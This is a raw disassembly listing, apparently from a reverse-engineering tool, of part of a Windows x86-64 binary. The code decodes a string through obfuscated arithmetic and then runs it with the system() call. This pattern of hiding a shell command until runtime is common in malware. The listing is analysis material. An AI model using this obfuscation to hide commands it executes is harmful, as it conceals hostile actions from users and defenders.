lea r8d, [r10 + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140149a2e
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140149bc7
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, 0x20
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
jmp 0x140149f76
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140149bee
add r10b, 0x40
movzx ecx, r10b
and cl, r11b
mov edx, 0x20
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
jmp 0x140149eaa
cmp rax, rdx
jne 0x140149a2e
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, 0x20
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140149e21
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x140149e0b
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140149c53
add r10b, 0x60
movzx ecx, r10b
and cl, r11b
mov edx, gethostbyaddr
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x140149542
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140149c7d
add r10b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x140149eb0
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1401499ef
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x20
movzx ecx, byte [rbp + rbx - 0x61]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140149542
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140149ce9
add r10b, 0x80
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x80
movzx ecx, byte [rbp + rbx - 0x61]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140149542
inc rcx
cmp rax, rcx
jne 0x140149d0e
sub r10b, 0x40
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x40
jmp 0x140149f23
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140149d2f
movzx edx, r10b
and dl, r11b
add dl, dl
movzx r8d, r10b
sub r8b, dl
add r8b, r11b
jmp 0x140149ee2
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140149d53
lea edx, [r10 - 0x40]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x40
jmp 0x140149de5
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1401499b5
lea edx, [r10 + 0x80]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x80
jmp 0x140149e21
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx r8d, r10b
sub r8b, cl
add r8b, r11b
add r8b, r11b
jmp 0x140149de5
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, 0x20
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x140149ee2
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x20
jmp 0x140149ead
lea edx, [r10 - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x60
add r10b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
add dl, r11b
mov byte [rbp + rbx - 0x61], dl
jmp 0x140149ead
lea edx, [r10 - 0x20]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x20
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x20
add r10b, r11b
mov byte [rbp + rbx - 0x61], r10b
inc r9
dec rbx
inc rbx
jmp 0x140149542
lea r8d, [rbx + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140149542
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x20
dec rbx
inc rbx
jmp 0x140149542
lea r8d, [rbx + 0x60]
movzx ecx, r8b
and cl, r11b
mov edx, gethostbyaddr
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140149542
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x20
movzx r10d, bl
add r10b, 0x60
movzx ecx, r11b
and cl, r10b
mov edx, gethostbyaddr
sub dl, cl
add dl, dl
add dl, r11b
add dl, r10b
movzx ecx, dl
mov byte [rbp + rbx - 0x61], cl
inc r9
add rcx, r9
sub rbx, rcx
jmp 0x140149f23
lea rcx, [rbx + r15]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x60
lea edx, [rbx + 0x80]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
add dl, 0x80
add dl, r11b
mov byte [rbp + rbx - 0x61], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x61]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140149542
lea rcx, [rbx + r14]
and dil, cl
mov edx, gethostbyaddr
sub dl, dil
lea r8d, [rdx + rdx]
add r8b, cl
add r8b, r11b
movzx ecx, byte [rbp + rbx - 0x61]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140149542
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x60
jmp 0x140149540
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, gethostbyaddr
sub cl, al
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, r11b
jmp 0x140149530
lea rcx, [rbp + 0x17efd1f]
jmp 0x140149fe0
lea rcx, [rbp + 0x1172b3f]
jmp 0x140149fe0
lea rcx, [rbp - 0x61]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rbp + 0x17]
call fcn.1401362c0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret